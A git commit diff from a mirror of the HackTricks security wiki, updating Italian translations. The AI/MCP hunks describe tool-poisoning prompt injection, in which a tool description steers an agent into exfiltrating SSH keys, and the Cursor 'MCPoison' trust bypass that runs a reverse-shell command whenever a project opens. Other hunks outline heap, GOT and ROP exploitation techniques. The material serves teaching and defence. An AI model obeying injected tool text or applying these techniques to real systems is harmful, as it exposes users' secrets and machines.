mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/macos-hardening/macos-security-and-privilege-escala
This commit is contained in:
Translator
parent
aa3c56a260
commit
bd345156f9
@ -47,13 +47,13 @@ Per ulteriori informazioni su Prompt Injection controlla:
|
||||
AI-Prompts.md
|
||||
{{#endref}}
|
||||
|
||||
## Vuln MCP
|
||||
## Vulnerabilità MCP
|
||||
|
||||
> [!CAUTION]
|
||||
> I server MCP invitano gli utenti ad avere un agente AI che li aiuti in ogni tipo di attività quotidiana, come leggere e rispondere a email, controllare problemi e richieste di pull, scrivere codice, ecc. Tuttavia, ciò significa anche che l'agente AI ha accesso a dati sensibili, come email, codice sorgente e altre informazioni private. Pertanto, qualsiasi tipo di vulnerabilità nel server MCP potrebbe portare a conseguenze catastrofiche, come esfiltrazione di dati, esecuzione remota di codice o addirittura compromissione completa del sistema.
|
||||
> I server MCP invitano gli utenti ad avere un agente AI che li aiuti in ogni tipo di attività quotidiana, come leggere e rispondere a email, controllare problemi e pull request, scrivere codice, ecc. Tuttavia, ciò significa anche che l'agente AI ha accesso a dati sensibili, come email, codice sorgente e altre informazioni private. Pertanto, qualsiasi tipo di vulnerabilità nel server MCP potrebbe portare a conseguenze catastrofiche, come l'exfiltrazione di dati, l'esecuzione remota di codice o addirittura il compromesso completo del sistema.
|
||||
> Si raccomanda di non fidarsi mai di un server MCP che non controlli.
|
||||
|
||||
### Prompt Injection tramite Dati Diretti MCP | Attacco Line Jumping | Avvelenamento degli Strumenti
|
||||
### Prompt Injection tramite Dati MCP Diretti | Attacco di Salto di Linea | Avvelenamento degli Strumenti
|
||||
|
||||
Come spiegato nei blog:
|
||||
- [MCP Security Notification: Tool Poisoning Attacks](https://invariantlabs.ai/blog/mcp-security-notification-tool-poisoning-attacks)
|
||||
@ -61,7 +61,7 @@ Come spiegato nei blog:
|
||||
|
||||
Un attore malintenzionato potrebbe aggiungere strumenti involontariamente dannosi a un server MCP, o semplicemente cambiare la descrizione degli strumenti esistenti, che dopo essere stati letti dal client MCP, potrebbero portare a comportamenti inaspettati e non notati nel modello AI.
|
||||
|
||||
Ad esempio, immagina una vittima che utilizza Cursor IDE con un server MCP fidato che diventa malintenzionato e ha uno strumento chiamato `add` che somma 2 numeri. Anche se questo strumento ha funzionato come previsto per mesi, il manutentore del server MCP potrebbe cambiare la descrizione dello strumento `add` in una descrizione che invita gli strumenti a eseguire un'azione dannosa, come l'esfiltrazione di chiavi ssh:
|
||||
Ad esempio, immagina una vittima che utilizza Cursor IDE con un server MCP fidato che diventa malintenzionato e ha uno strumento chiamato `add` che somma 2 numeri. Anche se questo strumento ha funzionato come previsto per mesi, il manutentore del server MCP potrebbe cambiare la descrizione dello strumento `add` in una descrizione che invita gli strumenti a eseguire un'azione dannosa, come l'exfiltrazione di chiavi ssh:
|
||||
```python
|
||||
@mcp.tool()
|
||||
def add(a: int, b: int) -> int:
|
||||
@ -79,7 +79,7 @@ Questa descrizione sarebbe letta dal modello AI e potrebbe portare all'esecuzion
|
||||
|
||||
Nota che, a seconda delle impostazioni del client, potrebbe essere possibile eseguire comandi arbitrari senza che il client chieda il permesso all'utente.
|
||||
|
||||
Inoltre, nota che la descrizione potrebbe indicare di utilizzare altre funzioni che potrebbero facilitare questi attacchi. Ad esempio, se esiste già una funzione che consente di esfiltrare dati, magari inviando un'email (ad esempio, l'utente sta utilizzando un server MCP collegato al suo account gmail), la descrizione potrebbe indicare di utilizzare quella funzione invece di eseguire un comando `curl`, che sarebbe più probabile venga notato dall'utente. Un esempio può essere trovato in questo [blog post](https://blog.trailofbits.com/2025/04/23/how-mcp-servers-can-steal-your-conversation-history/).
|
||||
Inoltre, nota che la descrizione potrebbe indicare di utilizzare altre funzioni che potrebbero facilitare questi attacchi. Ad esempio, se esiste già una funzione che consente di esfiltrare dati, magari inviando un'email (ad es. l'utente sta utilizzando un server MCP collegato al suo account gmail), la descrizione potrebbe indicare di utilizzare quella funzione invece di eseguire un comando `curl`, che sarebbe più probabile venga notato dall'utente. Un esempio può essere trovato in questo [blog post](https://blog.trailofbits.com/2025/04/23/how-mcp-servers-can-steal-your-conversation-history/).
|
||||
|
||||
Inoltre, [**questo blog post**](https://www.cyberark.com/resources/threat-research-blog/poison-everywhere-no-output-from-your-mcp-server-is-safe) descrive come sia possibile aggiungere l'iniezione di prompt non solo nella descrizione degli strumenti, ma anche nel tipo, nei nomi delle variabili, nei campi extra restituiti nella risposta JSON dal server MCP e persino in una risposta inaspettata da uno strumento, rendendo l'attacco di iniezione di prompt ancora più furtivo e difficile da rilevare.
|
||||
|
||||
@ -99,7 +99,7 @@ Nota che i prompt indiretti malevoli sarebbero situati in un repository pubblico
|
||||
|
||||
### Esecuzione di Codice Persistente tramite Bypass della Fiducia MCP (Cursor IDE – "MCPoison")
|
||||
|
||||
A partire dai primi del 2025, Check Point Research ha rivelato che l'**Cursor IDE** centrato sull'AI legava la fiducia dell'utente al *nome* di un'entrata MCP ma non ha mai ri-validato il suo `command` o `args` sottostante.
|
||||
A partire dai primi mesi del 2025, Check Point Research ha rivelato che l'**Cursor IDE** centrato sull'AI legava la fiducia dell'utente al *nome* di un'entrata MCP ma non ha mai ri-validato il suo `command` o `args` sottostante.
|
||||
Questo difetto logico (CVE-2025-54136, alias **MCPoison**) consente a chiunque possa scrivere in un repository condiviso di trasformare un MCP già approvato e benigno in un comando arbitrario che verrà eseguito *ogni volta che il progetto viene aperto* – nessun prompt mostrato.
|
||||
|
||||
#### Flusso di lavoro vulnerabile
|
||||
@ -127,9 +127,9 @@ Questo difetto logico (CVE-2025-54136, alias **MCPoison**) consente a chiunque p
|
||||
}
|
||||
}
|
||||
```
|
||||
4. Quando il repository si sincronizza (o l'IDE si riavvia) Cursor esegue il nuovo comando **senza alcun prompt aggiuntivo**, concedendo l'esecuzione di codice remoto nella workstation dello sviluppatore.
|
||||
4. Quando il repository si sincronizza (o l'IDE si riavvia) Cursor esegue il nuovo comando **senza alcun ulteriore prompt**, concedendo l'esecuzione di codice remoto nella workstation dello sviluppatore.
|
||||
|
||||
Il payload può essere qualsiasi cosa che l'utente OS attuale può eseguire, ad esempio un file batch di reverse-shell o un one-liner di Powershell, rendendo la backdoor persistente attraverso i riavvii dell'IDE.
|
||||
Il payload può essere qualsiasi cosa che l'utente OS corrente può eseguire, ad esempio un file batch di reverse-shell o un one-liner di Powershell, rendendo la backdoor persistente attraverso i riavvii dell'IDE.
|
||||
|
||||
#### Rilevamento e Mitigazione
|
||||
|
||||
|
||||
@ -37,7 +37,7 @@ Dovresti iniziare leggendo questo post per alcuni concetti di base che dovresti
|
||||
|
||||
> [!TIP]
|
||||
> L'obiettivo di questa terza fase è molto semplice: **Assegnare a ciascuno dei token precedenti nel vocabolario un vettore delle dimensioni desiderate per addestrare il modello.** Ogni parola nel vocabolario sarà un punto in uno spazio di X dimensioni.\
|
||||
> Nota che inizialmente la posizione di ciascuna parola nello spazio è semplicemente inizializzata "casualmente" e queste posizioni sono parametri addestrabili (saranno migliorati durante l'addestramento).
|
||||
> Nota che inizialmente la posizione di ogni parola nello spazio è semplicemente inizializzata "casualmente" e queste posizioni sono parametri addestrabili (saranno migliorati durante l'addestramento).
|
||||
>
|
||||
> Inoltre, durante l'embedding dei token **viene creata un'altra layer di embeddings** che rappresenta (in questo caso) la **posizione assoluta della parola nella frase di addestramento**. In questo modo, una parola in posizioni diverse nella frase avrà una rappresentazione diversa (significato).
|
||||
|
||||
@ -82,7 +82,7 @@ Dovresti iniziare leggendo questo post per alcuni concetti di base che dovresti
|
||||
## 7.0. LoRA Improvements in fine-tuning
|
||||
|
||||
> [!TIP]
|
||||
> L'uso di **LoRA riduce notevolmente il calcolo** necessario per **ottimizzare** modelli già addestrati.
|
||||
> L'uso di **LoRA riduce notevolmente il calcolo** necessario per **fine-tune** modelli già addestrati.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -92,7 +92,7 @@ Dovresti iniziare leggendo questo post per alcuni concetti di base che dovresti
|
||||
## 7.1. Fine-Tuning for Classification
|
||||
|
||||
> [!TIP]
|
||||
> L'obiettivo di questa sezione è mostrare come ottimizzare un modello già pre-addestrato in modo che, invece di generare nuovo testo, il LLM fornisca le **probabilità che il testo fornito venga categorizzato in ciascuna delle categorie date** (come se un testo fosse spam o meno).
|
||||
> L'obiettivo di questa sezione è mostrare come fare fine-tuning a un modello già pre-addestrato in modo che, invece di generare nuovo testo, il LLM fornisca le **probabilità che il testo dato venga categorizzato in ciascuna delle categorie date** (come se un testo fosse spam o meno).
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -102,7 +102,7 @@ Dovresti iniziare leggendo questo post per alcuni concetti di base che dovresti
|
||||
## 7.2. Fine-Tuning to follow instructions
|
||||
|
||||
> [!TIP]
|
||||
> L'obiettivo di questa sezione è mostrare come **ottimizzare un modello già pre-addestrato per seguire istruzioni** piuttosto che semplicemente generare testo, ad esempio, rispondendo a compiti come un chatbot.
|
||||
> L'obiettivo di questa sezione è mostrare come **fare fine-tuning a un modello già pre-addestrato per seguire istruzioni** piuttosto che semplicemente generare testo, ad esempio, rispondere a compiti come un chatbot.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
|
||||
@ -64,7 +64,7 @@ AI-Prompts.md
|
||||
AI-Models-RCE.md
|
||||
{{#endref}}
|
||||
|
||||
### Protocollo di Contesto dei Modelli AI
|
||||
### Protocollo di Contesto del Modello AI
|
||||
|
||||
MCP (Model Context Protocol) è un protocollo che consente ai client agenti AI di connettersi con strumenti esterni e fonti di dati in modo plug-and-play. Questo abilita flussi di lavoro complessi e interazioni tra modelli AI e sistemi esterni:
|
||||
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
Come puoi vedere nel [sito ufficiale di GNU](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), la variabile **`__malloc_hook`** è un puntatore che punta all'**indirizzo di una funzione che verrà chiamata** ogni volta che viene chiamato `malloc()`, **memorizzato nella sezione dati della libreria libc**. Pertanto, se questo indirizzo viene sovrascritto con un **One Gadget**, ad esempio, e viene chiamato `malloc`, il **One Gadget verrà chiamato**.
|
||||
|
||||
Per chiamare malloc è possibile aspettare che il programma lo chiami o **chiamando `printf("%10000$c")**, che alloca troppi byte, costringendo `libc` a chiamare malloc per allocarli nell'heap.
|
||||
Per chiamare malloc è possibile aspettare che il programma lo chiami o **chiamando `printf("%10000$c")**, che alloca troppi byte, facendo sì che `libc` chiami malloc per allocarli nell'heap.
|
||||
|
||||
Ulteriori informazioni su One Gadget in:
|
||||
|
||||
@ -59,7 +59,7 @@ gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
|
||||
- Se riusciamo a ottenere un fast chunk di dimensione 0x200 in questa posizione, sarà possibile sovrascrivere un puntatore a funzione che verrà eseguito.
|
||||
- Per questo, viene creato un nuovo chunk di dimensione `0xfc` e la funzione unita viene chiamata con quel puntatore due volte, in questo modo otteniamo un puntatore a un chunk liberato di dimensione `0xfc*2 = 0x1f8` nel fast bin.
|
||||
- Poi, la funzione di modifica viene chiamata in questo chunk per modificare l'indirizzo **`fd`** di questo fast bin per puntare alla precedente funzione **`__free_hook`**.
|
||||
- Successivamente, viene creato un chunk di dimensione `0x1f8` per recuperare dal fast bin il precedente chunk inutile, quindi viene creato un altro chunk di dimensione `0x1f8` per ottenere un fast bin chunk nella **`__free_hook`** che viene sovrascritto con l'indirizzo della funzione **`system`**.
|
||||
- Successivamente, viene creato un chunk di dimensione `0x1f8` per recuperare dal fast bin il precedente chunk inutile, quindi viene creato un altro chunk di dimensione `0x1f8` per ottenere un fast bin chunk nel **`__free_hook`** che viene sovrascritto con l'indirizzo della funzione **`system`**.
|
||||
- E infine, viene liberato un chunk contenente la stringa `/bin/sh\x00` chiamando la funzione di eliminazione, attivando la funzione **`__free_hook`** che punta a system con `/bin/sh\x00` come parametro.
|
||||
|
||||
---
|
||||
@ -76,7 +76,7 @@ Conseguenze per lo sfruttamento:
|
||||
1. Un **heap leak** è obbligatorio – l'attaccante deve conoscere il valore di runtime di `chunk_addr >> 12` per creare un puntatore offuscato valido.
|
||||
2. Solo il puntatore a 8 byte *completo* può essere falsificato; sovrascritture parziali di un byte non supereranno il controllo.
|
||||
|
||||
Un primitivo di avvelenamento tcache minimo che sovrascrive `__free_hook` su glibc 2.32/2.33 quindi appare come:
|
||||
Un primitivo minimo di avvelenamento tcache che sovrascrive `__free_hook` su glibc 2.32/2.33 quindi appare come:
|
||||
```py
|
||||
from pwn import *
|
||||
|
||||
@ -117,7 +117,7 @@ Il frammento sopra è stato adattato da recenti sfide CTF come *UIUCTF 2024 –
|
||||
|
||||
## Cosa è cambiato in glibc ≥ 2.34?
|
||||
|
||||
A partire da **glibc 2.34 (agosto 2021)**, i ganci di allocazione `__malloc_hook`, `__realloc_hook`, `__memalign_hook` e `__free_hook` sono stati **rimossi dall'API pubblica e non vengono più invocati dall'allocatore**. I simboli di compatibilità sono ancora esportati per i binari legacy, ma sovrascriverli non influisce più sul controllo del flusso di `malloc()` o `free()`.
|
||||
A partire da **glibc 2.34 (agosto 2021)**, i ganci di allocazione `__malloc_hook`, `__realloc_hook`, `__memalign_hook` e `__free_hook` sono stati **rimossi dall'API pubblica e non sono più invocati dall'allocatore**. I simboli di compatibilità sono ancora esportati per i binari legacy, ma sovrascriverli non influisce più sul controllo del flusso di `malloc()` o `free()`.
|
||||
|
||||
Implicazione pratica: su distribuzioni moderne (Ubuntu 22.04+, Fedora 35+, Debian 12, ecc.) devi passare a *altri* primitivi di hijack (IO-FILE, `__run_exit_handlers`, vtable spraying, ecc.) perché le sovrascritture dei ganci falliranno silenziosamente.
|
||||
|
||||
|
||||
@ -12,9 +12,9 @@ Ogni voce nella GOT corrisponde a un simbolo nelle librerie esterne che il binar
|
||||
|
||||
### **PLT: Tabella di Collegamento delle Procedure**
|
||||
|
||||
La **Tabella di Collegamento delle Procedure (PLT)** lavora a stretto contatto con la GOT e funge da trampolino per gestire le chiamate a funzioni esterne. Quando un binario **chiama una funzione esterna per la prima volta, il controllo viene passato a un'entrata nella PLT associata a quella funzione**. Questa voce PLT è responsabile dell'invocazione del linker dinamico per risolvere l'indirizzo della funzione se non è già stato risolto. Dopo che l'indirizzo è stato risolto, viene memorizzato nella **GOT**.
|
||||
La **Tabella di Collegamento delle Procedure (PLT)** lavora a stretto contatto con la GOT e funge da trampolino per gestire le chiamate a funzioni esterne. Quando un binario **chiama una funzione esterna per la prima volta, il controllo viene passato a una voce nella PLT associata a quella funzione**. Questa voce PLT è responsabile dell'invocazione del linker dinamico per risolvere l'indirizzo della funzione se non è già stato risolto. Dopo che l'indirizzo è stato risolto, viene memorizzato nella **GOT**.
|
||||
|
||||
**Pertanto,** le voci GOT vengono utilizzate direttamente una volta che l'indirizzo di una funzione o variabile esterna è stato risolto. **Le voci PLT vengono utilizzate per facilitare la risoluzione iniziale** di questi indirizzi tramite il linker dinamico.
|
||||
**Pertanto,** le voci della GOT vengono utilizzate direttamente una volta che l'indirizzo di una funzione o variabile esterna è stato risolto. **Le voci PLT vengono utilizzate per facilitare la risoluzione iniziale** di questi indirizzi tramite il linker dinamico.
|
||||
|
||||
## Ottenere Esecuzione
|
||||
|
||||
@ -26,9 +26,9 @@ Ottieni l'indirizzo della tabella GOT con: **`objdump -s -j .got ./exec`**
|
||||
|
||||
Osserva come dopo **il caricamento** dell'**eseguibile** in GEF puoi **vedere** le **funzioni** che sono nella **GOT**: `gef➤ x/20x 0xADDR_GOT`
|
||||
|
||||
 (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>)
|
||||
 (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>)
|
||||
|
||||
Utilizzando GEF puoi **iniziare** una sessione di **debugging** ed eseguire **`got`** per vedere la tabella got:
|
||||
Utilizzando GEF puoi **iniziare** una **sessione di debug** ed eseguire **`got`** per vedere la tabella got:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -38,15 +38,15 @@ In un binario la GOT ha gli **indirizzi delle funzioni o** della **sezione PLT**
|
||||
|
||||
Idealmente, dovresti **sovrascrivere** la **GOT** di una **funzione** che verrà **chiamata con parametri controllati da te** (in modo da poter controllare i parametri inviati alla funzione system).
|
||||
|
||||
Se **`system`** **non è utilizzato** dal binario, la funzione system **non avrà** un'entrata nella PLT. In questo scenario, dovrai **prima fare leak dell'indirizzo** della funzione `system` e poi sovrascrivere la GOT per puntare a questo indirizzo.
|
||||
Se **`system`** **non è utilizzato** dal binario, la funzione system **non avrà** una voce nella PLT. In questo scenario, dovrai **prima fare un leak dell'indirizzo** della funzione `system` e poi sovrascrivere la GOT per puntare a questo indirizzo.
|
||||
|
||||
Puoi vedere gli indirizzi PLT con **`objdump -j .plt -d ./vuln_binary`**
|
||||
|
||||
## Voci GOT di libc
|
||||
## voci GOT di libc
|
||||
|
||||
La **GOT di libc** è solitamente compilata con **RELRO parziale**, rendendola un buon obiettivo per questo supponendo sia possibile capire il suo indirizzo ([**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)).
|
||||
|
||||
Le funzioni comuni della libc chiameranno **altre funzioni interne** le cui GOT potrebbero essere sovrascritte per ottenere l'esecuzione del codice.
|
||||
Le funzioni comuni di libc chiameranno **altre funzioni interne** le cui GOT potrebbero essere sovrascritte per ottenere l'esecuzione del codice.
|
||||
|
||||
Trova [**maggiori informazioni su questa tecnica qui**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries).
|
||||
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## Informazioni di Base su ELF
|
||||
|
||||
Prima di iniziare a sfruttare qualsiasi cosa, è interessante comprendere parte della struttura di un **ELF binary**:
|
||||
Prima di iniziare a sfruttare qualsiasi cosa, è interessante comprendere parte della struttura di un **binario ELF**:
|
||||
|
||||
{{#ref}}
|
||||
elf-tricks.md
|
||||
@ -40,11 +40,11 @@ Puoi trovare le tecniche di **Write What Where to Execution** in:
|
||||
|
||||
## Loop Eterni
|
||||
|
||||
Qualcosa da tenere in considerazione è che di solito **solo un exploitation di una vulnerabilità potrebbe non essere sufficiente** per eseguire un exploit con successo, specialmente alcune protezioni devono essere bypassate. Pertanto, è interessante discutere alcune opzioni per **rendere una singola vulnerabilità sfruttabile più volte** nella stessa esecuzione del binary:
|
||||
Qualcosa da tenere in considerazione è che di solito **solo un exploitation di una vulnerabilità potrebbe non essere sufficiente** per eseguire un exploit con successo, specialmente alcune protezioni devono essere bypassate. Pertanto, è interessante discutere alcune opzioni per **rendere una singola vulnerabilità sfruttabile più volte** nella stessa esecuzione del binario:
|
||||
|
||||
- Scrivere in una **catena ROP** l'indirizzo della **funzione `main`** o l'indirizzo in cui si verifica la **vulnerabilità**.
|
||||
- Scrivere in una catena **ROP** l'indirizzo della **funzione `main`** o l'indirizzo in cui si verifica la **vulnerabilità**.
|
||||
- Controllando una catena ROP appropriata, potresti essere in grado di eseguire tutte le azioni in quella catena.
|
||||
- Scrivere nell'**indirizzo `exit` in GOT** (o qualsiasi altra funzione utilizzata dal binary prima di terminare) l'indirizzo per **tornare alla vulnerabilità**.
|
||||
- Scrivere nell'indirizzo **`exit` in GOT** (o qualsiasi altra funzione utilizzata dal binario prima di terminare) l'indirizzo per **tornare alla vulnerabilità**.
|
||||
- Come spiegato in [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**,** memorizzare qui 2 funzioni, una per chiamare di nuovo la vuln e un'altra per chiamare **`__libc_csu_fini`** che richiamerà di nuovo la funzione da `.fini_array`.
|
||||
|
||||
## Obiettivi di Exploitation
|
||||
@ -56,13 +56,13 @@ Qualcosa da tenere in considerazione è che di solito **solo un exploitation di
|
||||
- In un bof con [**PIE**](../common-binary-protections-and-bypasses/pie/index.html), dovrai bypassarlo.
|
||||
- In un bof con [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html), dovrai bypassarlo.
|
||||
- Se hai bisogno di impostare diversi parametri per chiamare correttamente la funzione **ret2win**, puoi usare:
|
||||
- Una [**catena ROP**](#rop-and-ret2...-techniques) **se ci sono abbastanza gadget** per preparare tutti i parametri.
|
||||
- Una catena [**ROP**](#rop-and-ret2...-techniques) **se ci sono abbastanza gadget** per preparare tutti i parametri.
|
||||
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/index.html) (nel caso tu possa chiamare questa syscall) per controllare molti registri.
|
||||
- Gadget da [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) e [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) per controllare diversi registri.
|
||||
- Tramite un [**Write What Where**](../arbitrary-write-2-exec/index.html) potresti abusare di altre vulnerabilità (non bof) per chiamare la funzione **`win`**.
|
||||
- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): Nel caso in cui lo stack contenga puntatori a una funzione che verrà chiamata o a una stringa che verrà utilizzata da una funzione interessante (system o printf), è possibile sovrascrivere quell'indirizzo.
|
||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) o [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) potrebbero influenzare gli indirizzi.
|
||||
- [**Variabili non inizializzate**](../stack-overflow/uninitialized-variables.md): Non si sa mai.
|
||||
- [**Uninitialized variables**](../stack-overflow/uninitialized-variables.md): Non si sa mai.
|
||||
|
||||
### Obiettivo: RCE
|
||||
|
||||
@ -72,23 +72,23 @@ Qualcosa da tenere in considerazione è che di solito **solo un exploitation di
|
||||
- **In ogni caso, se c'è un** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html)**,** in un bof regolare dovrai bypassarlo (leak).
|
||||
- **Senza** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **e** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) è possibile saltare all'indirizzo dello stack poiché non cambierà mai.
|
||||
- **Con** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) dovrai utilizzare tecniche come [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) per saltare a esso.
|
||||
- **Con** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), dovrai utilizzare alcuni [**ROP**](../rop-return-oriented-programing/index.html) **per chiamare `memprotect`** e rendere alcune pagine `rwx`, per poi **memorizzare lo shellcode lì** (chiamando read ad esempio) e poi saltare lì.
|
||||
- **Con** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), dovrai usare alcuni [**ROP**](../rop-return-oriented-programing/index.html) **per chiamare `memprotect`** e rendere alcune pagine `rwx`, per poi **memorizzare lo shellcode lì** (chiamando read ad esempio) e poi saltare lì.
|
||||
- Questo mescolerà shellcode con una catena ROP.
|
||||
|
||||
#### Via syscalls
|
||||
|
||||
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/index.html): Utile per chiamare `execve` per eseguire comandi arbitrari. Devi essere in grado di trovare i **gadget per chiamare la specifica syscall con i parametri**.
|
||||
- Se [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) o [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) sono abilitati, dovrai sconfiggerli **per utilizzare i gadget ROP** dal binary o dalle librerie.
|
||||
- Se [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) o [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) sono abilitati, dovrai sconfiggerli **per utilizzare i gadget ROP** dal binario o dalle librerie.
|
||||
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/index.html) può essere utile per preparare il **ret2execve**.
|
||||
- Gadget da [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) e [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) per controllare diversi registri.
|
||||
|
||||
#### Via libc
|
||||
|
||||
- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/index.html): Utile per chiamare una funzione da una libreria (di solito da **`libc`**) come **`system`** con alcuni argomenti preparati (es. `'/bin/sh'`). Devi che il binary **carichi la libreria** con la funzione che desideri chiamare (libc di solito).
|
||||
- Se **compilato staticamente e senza** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html), l'**indirizzo** di `system` e `/bin/sh` non cambierà, quindi è possibile utilizzarli staticamente.
|
||||
- **Senza** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **e conoscendo la versione di libc** caricata, l'**indirizzo** di `system` e `/bin/sh` non cambierà, quindi è possibile utilizzarli staticamente.
|
||||
- Con [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **ma senza** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)**, conoscendo la libc e con il binary che utilizza la funzione `system`** è possibile **`ret` all'indirizzo di system in GOT** con l'indirizzo di `'/bin/sh'` nel parametro (dovrai scoprirlo).
|
||||
- Con [ASLR](../common-binary-protections-and-bypasses/aslr/index.html) ma senza [PIE](../common-binary-protections-and-bypasses/pie/index.html), conoscendo la libc e **senza che il binary utilizzi la `system`**:
|
||||
- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/index.html): Utile per chiamare una funzione da una libreria (di solito da **`libc`**) come **`system`** con alcuni argomenti preparati (ad esempio, `'/bin/sh'`). Devi che il binario **carichi la libreria** con la funzione che desideri chiamare (libc di solito).
|
||||
- Se **compilato staticamente e senza** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html), l'**indirizzo** di `system` e `/bin/sh` non cambierà, quindi è possibile usarli staticamente.
|
||||
- **Senza** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **e conoscendo la versione di libc** caricata, l'**indirizzo** di `system` e `/bin/sh` non cambierà, quindi è possibile usarli staticamente.
|
||||
- Con [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **ma senza** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)**, conoscendo la libc e con il binario che utilizza la funzione `system`** è possibile **`ret` all'indirizzo di system nel GOT** con l'indirizzo di `'/bin/sh'` nel parametro (dovrai scoprirlo).
|
||||
- Con [ASLR](../common-binary-protections-and-bypasses/aslr/index.html) ma senza [PIE](../common-binary-protections-and-bypasses/pie/index.html), conoscendo la libc e **senza che il binario utilizzi la `system`**:
|
||||
- Usa [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) per risolvere l'indirizzo di `system` e chiamarlo.
|
||||
- **Bypassa** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) e calcola l'indirizzo di `system` e `'/bin/sh'` in memoria.
|
||||
- **Con** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **e** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **e non conoscendo la libc**: Devi:
|
||||
@ -98,7 +98,7 @@ Qualcosa da tenere in considerazione è che di solito **solo un exploitation di
|
||||
|
||||
#### Via EBP/RBP
|
||||
|
||||
- [**Stack Pivoting / EBP2Ret / EBP Chaining**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Controllare l'ESP per controllare RET tramite l'EBP memorizzato nello stack.
|
||||
- [**Stack Pivoting / EBP2Ret / EBP Chaining**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Controllare l'ESP per controllare RET attraverso l'EBP memorizzato nello stack.
|
||||
- Utile per **off-by-one** stack overflows.
|
||||
- Utile come modo alternativo per controllare EIP mentre si abusa di EIP per costruire il payload in memoria e poi saltare a esso tramite EBP.
|
||||
|
||||
@ -106,6 +106,6 @@ Qualcosa da tenere in considerazione è che di solito **solo un exploitation di
|
||||
|
||||
- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): Nel caso in cui lo stack contenga puntatori a una funzione che verrà chiamata o a una stringa che verrà utilizzata da una funzione interessante (system o printf), è possibile sovrascrivere quell'indirizzo.
|
||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) o [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) potrebbero influenzare gli indirizzi.
|
||||
- [**Variabili non inizializzate**](../stack-overflow/uninitialized-variables.md): Non si sa mai.
|
||||
- [**Uninitialized variables**](../stack-overflow/uninitialized-variables.md): Non si sa mai.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -161,7 +161,7 @@ CONTENTS, READONLY
|
||||
25 .gnu_debuglink 00000034 0000000000000000 0000000000000000 000101bc 2**2
|
||||
CONTENTS, READONLY
|
||||
```
|
||||
It indicates anche la posizione, l'offset, i permessi ma anche il **tipo di dati** che ha la sua sezione.
|
||||
It indica anche la posizione, l'offset, i permessi ma anche il **tipo di dati** che ha la sua sezione.
|
||||
|
||||
### Sezioni Meta
|
||||
|
||||
@ -214,7 +214,7 @@ Ogni voce di simbolo contiene:
|
||||
|
||||
La moderna glibc utilizza versioni di simbolo. Vedrai voci in `.gnu.version` e `.gnu.version_r` e nomi di simboli come `strlen@GLIBC_2.17`. Il linker dinamico può richiedere una versione specifica quando risolve un simbolo. Quando si creano rilocazioni manuali (ad es. ret2dlresolve) è necessario fornire l'indice di versione corretto, altrimenti la risoluzione fallisce.
|
||||
|
||||
## Sezione Dinamica
|
||||
## Sezione dinamica
|
||||
```
|
||||
readelf -d lnstat
|
||||
|
||||
@ -255,22 +255,22 @@ La directory NEEDED indica che il programma **deve caricare la libreria menziona
|
||||
|
||||
